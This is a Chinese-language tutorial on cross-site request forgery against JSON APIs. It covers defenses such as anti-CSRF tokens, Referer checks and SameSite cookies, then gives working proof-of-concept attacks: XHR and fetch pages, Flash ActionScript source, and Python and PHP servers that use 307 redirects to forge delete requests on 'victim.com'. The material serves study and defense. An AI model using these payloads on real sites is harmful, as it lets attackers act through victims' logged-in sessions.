csrf漏洞的成因就是網(wǎng)站的cookie在瀏覽器中不會過期,只要不關閉瀏覽器或者退出登錄,那以后只要是訪問這個網(wǎng)站,都會默認你已經(jīng)登錄的狀態(tài)。而在這個期間,攻擊者發(fā)送了構造好的csrf腳本或包含csrf腳本的鏈接,可能會執(zhí)行一些用戶不想做的功能(比如是添加賬號等)。這個操作不是用戶真正想要執(zhí)行的。
在post標準化格式(accounts=test&password=aaa)的表單頁面中,在沒有csrf防護的前提下,我們能很輕松地構造頁面來實現(xiàn)攻擊,但是在json格式下,csrf攻擊怎么實現(xiàn)呢?
那我們?yōu)楹尾荒苁褂眠@個常規(guī)構造的PoC來利用JSON端點中的CSRF呢?原因如下:
1、POSTbody需要以JSON格式發(fā)送,而這種格式如果用HTML表單元素來構建的話會比較麻煩。
2、Content-Type頭需要設置為application/json。設置自定義Header需要使用XMLHttpRequests,而它還會向服務器端發(fā)送OPTIONS預檢請求。
關于防御方案,一般有如下幾種:
1)用戶操作驗證,在提交數(shù)據(jù)時需要輸入驗證碼
2)請求來源驗證,驗證請求來源的referer
3)表單token驗證
現(xiàn)在業(yè)界對CSRF的防御,一致的做法是使用一個Token(Anti CSRF Token)。
這個Token的值必須是隨機的,不可預測的。由于Token的存在,攻擊者無法再構造一個帶有合法Token的請求實施CSRF攻擊。另外使用Token時應注意Token的保密性,盡量把敏感操作由GET改為POST,以form或AJAX形式提交,避免Token泄露。
例子:
第一步:用戶訪問某個表單頁面。
第二步:服務端生成一個Token,放在用戶的Session中,或者瀏覽器的Cookie中。
第三步:在頁面表單附帶上Token參數(shù)。
第四步:用戶提交請求后,服務端驗證表單中的Token是否與用戶Session(或Cookies)中的Token一致, 一致為合法請求,不是則非法請求。
4) 在前后端分離的前提下(例如使用ajax提交數(shù)據(jù))設置不了token,可以給 cookie 新增 SameSite 屬性,通過這個屬性可以標記哪個 cookie 只作為同站 cookie (即第一方 cookie,不能作為第三方 cookie),既然不能作為第三方 cookie ,那么別的網(wǎng)站發(fā)起第三方請求時,第三方網(wǎng)站是收不到這個被標記關鍵 cookie,后面的鑒權處理就好辦了。這一切都不需要做 token 生命周期的管理,也不用擔心 Referer 會丟失或被中途被篡改。
SameStie 有兩個值:Strict 和 Lax:
SameSite=Strict 嚴格模式,使用 SameSite=Strict 標記的 cookie 在任何情況下(包括異步請求和同步請求),都不能作為第三方 cookie。
SameSite=Lax 寬松模式,使用 SameSite=Lax 標記的 cookie 在異步請求 和 form 提交跳轉的情況下,都不能作為第三方 cookie。
那么Strict和Lax的如何使用呢?
登錄態(tài)關鍵的 cookie 都可以設置為 Strict。
后臺根據(jù)用戶的登錄態(tài)動態(tài)新建一個可以用于校驗登錄態(tài)的 cookie ,設置為 Lax ,這樣的話對外推廣比如微博什么的,你希望用戶在微博上打開你的鏈接還能保持登錄態(tài)。
如果你的頁面有可能被第三方網(wǎng)站去iframe或有接口需要做jsonp ,那么都不能設置 Strict 或 Lax。
一、不驗證CONTENT-TYPE的情況
如果服務端沒有校驗Content-Type,或者沒有嚴格校驗Content-Type是否為application/json,我們可以使用XHR來實現(xiàn)csrf,poc如下:
<html> <head> <scriptstyle="text/java script"> functionsubmitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true); xhr.setRequestHeader("Accept", "application/json, text/plain, */*"); xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"); xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8"); xhr.withCredentials = true; xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q區(qū)","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晉城市","region":"陵川縣","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]})); } </script> </head> <body> <formaction="#"> <inputtype="button"value="Submit request"onClick="submitRequest()"/> </form> </body> </html>
二、驗證CONTENT-TYPE的情況
當然了,使用XMLHttpRequest、fetch能構造出JSON請求,并且能設置Content-Type,但是無法跨域。
fetch發(fā)起的請求代碼:
<html><title>JSON CSRF POC</title><script> fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});</script></form></html>
我們可以利用Flash的跨域與307跳轉來繞過http自定義頭限制,307跟其他3XX HTTP狀態(tài)碼之間的區(qū)別就在于,HTTP 307可以確保重定向請求發(fā)送之后,請求方法和請求主體不會發(fā)生任何改變。HTTP 307會將POST body和HTTP頭重定向到我們所指定的最終URL,并完成攻擊。
2.1 創(chuàng)建flash文件
為了創(chuàng)建能夠發(fā)送Web請求的csrf.swf文件,我們需要按照以下步驟操作:
安裝FlexSDK將ActionScript編譯為swf文件。Flex需要安裝32位的JVM,這一步可以安裝32位JDK來完成。
創(chuàng)建一個包含下列ActionScript代碼的text文件,文件名為csrf.as。
獲取托管Flash文件的主機系統(tǒng)(攻擊者的服務器)IP地址/域名,并替換掉代碼中的。
運行“mxmlc csrf.as”命令,將該文件編譯為csrf.swf。
2.2 創(chuàng)建web服務器
1、使用python作為服務器(此方法不推薦):
先創(chuàng)建as文件,用上述步驟編譯:
package{ import flash.display.Sprite; import flash.net.URLLoader; import flash.net.URLRequest; import flash.net.URLRequestHeader; import flash.net.URLRequestMethod; public classcsrfextendsSprite { public functioncsrf() { super(); var member1:Object = null; var myJson:String = null; member1 = newObject(); member1 ={"id":102}; var myData:Object = member1; myJson = JSON.stringify(myData); myJson = JSON.stringify(myData); var url:String = "http://172.16.11.110:8000/"; var request:URLRequest = new URLRequest(url); request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json")); request.data = myJson; request.method = URLRequestMethod.POST; var urlLoader:URLLoader = new URLLoader(); try { urlLoader.load(request); return; } catch(e:Error) { trace(e); return; } } }}
借助GitHub上的json-flash-csrf-poc(https://github.com/appsecco/json-flash-csrf-poc),我們可以生成一個簡單的python web服務器
pyserver.py:
import BaseHTTPServerimport timeimport sysHOST = '' PORT = 8000classRedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler): defdo_POST(s): if s.path == '/csrf.swf': s.send_response(200) s.send_header("Content-Type","application/x-shockwave-flash") s.end_headers() s.wfile.write(open("csrf.swf", "rb").read()) return s.send_response(307) s.send_header("Location", "https://victim-site/userdelete") s.end_headers() defdo_GET(s): print(s.path) s.do_POST() if __name__ == '__main__': server_class = BaseHTTPServer.HTTPServer httpd = server_class((HOST, PORT), RedirectHandler) print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT) try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)
2、使用apache的php頁面作為服務端(首選方法):
我們也可以使用php來作為307跳轉的服務端,參考GitHub上的swf_json_csrf(https://github.com/sp1d3r/swf_json_csrf)。
csrf.as:
package{ import flash.display.Sprite; import flash.net.URLLoader; import flash.net.URLRequest; import flash.net.URLRequestHeader; import flash.net.URLRequestMethod; public classcsrfextendsSprite { public functioncsrf() { super(); var myJson:String = this.root.loaderInfo.parameters.jsonData; var url:String = this.root.loaderInfo.parameters.php_url; var endpoint:String = this.root.loaderInfo.parameters.endpoint; var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json"; var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint); request.requestHeaders.push(new URLRequestHeader("Content-Type",ct)); request.data = myJson; request.method = URLRequestMethod.POST; var urlLoader:URLLoader = new URLLoader(); try { urlLoader.load(request); return; } catch(e:Error) { trace(e); return; } } }}
307.php:
<?php$victim_url = $_GET['endpoint'];header("Location: $victim_url", true, 307)?>
最后使用的poc是:
http://172.16.11.102/csrf/test.swf?jsonData={%22id%22:49}&php_url=http://172.16.11.102/csrf/test.php&endpoint=http://victim.com/carrieradmin/admin/car/delete&ct=application/json
三、更進一步探索
當訪問最后的POC,過程如下:
1、受害者訪問POC,向attacter.com發(fā)起一條swf請求,swf向307.php發(fā)送HTTP POST請求。
2、attacter.com的307.php發(fā)起307跳轉,跳轉到victim.com,注意307跳轉會帶著http請求方式,header和postdata進行跳轉。
3、victim.com收到一條POST請求,并且Content-Type為application/json。
4、victim.com收到一條/crossdomain.xml請求。由于第三步優(yōu)先第四步執(zhí)行,導致跨域。并且victim.com能收到crossdomain.xml請求,也證明了第三步的POST請求是Flash發(fā)出,而不是307.php發(fā)出。因為307.php單獨發(fā)出的post請求不會主動請求crossdomain.xml。
我們知道,服務器A的Flash如果要向B發(fā)起一條HTTP請求,會先請求服務器B的crossdomain.xml文件,判斷是否能跨域,如果文件沒有,或者xml文件設置不能跨域,則不能跨域。
既然可以設置Content-Type,那么能設置Referer嗎。如果能,那驗證Referer的CSRF豈不都能繞過?
其實Flash的Header存在一個黑名單,黑名單列表的頭不允許設置,其中就有Referer。不能設置的頭標如下:
Accept-Charset、Accept-Encoding、Accept-Ranges、Age、Allow、Allowed、Authorization、Charge-To、Connect、Connection、Content-Length、Content-Location、Content-Range、Cookie、Date、Delete、ETag、Expect、Get、Head、Host、Keep-Alive、Last-Modified、Location、Max-Forwards、Options、Post、Proxy-Authenticate、Proxy-Authorization、Proxy-Connection、Public、Put、Range、Referer、Request-Range、Retry-After、Server、TE、Trace、Trailer、Transfer-Encoding、Upgrade、URI、User-Agent、Vary、Via、Warning、WWW-Authenticate 和 x-flash-version。
四、實際測試效果
這種flash+307跳轉攻擊方法只能在舊版瀏覽器適用,在2018年后更新版本的幾乎所有瀏覽器,307跳轉的時候并沒有把Content-Type傳過去而導致csrf攻擊失敗。所以還望尋找一種新的攻擊方法,本文的json csrf攻擊方法僅僅是作為一種記錄,在某些情況下還是能用到的。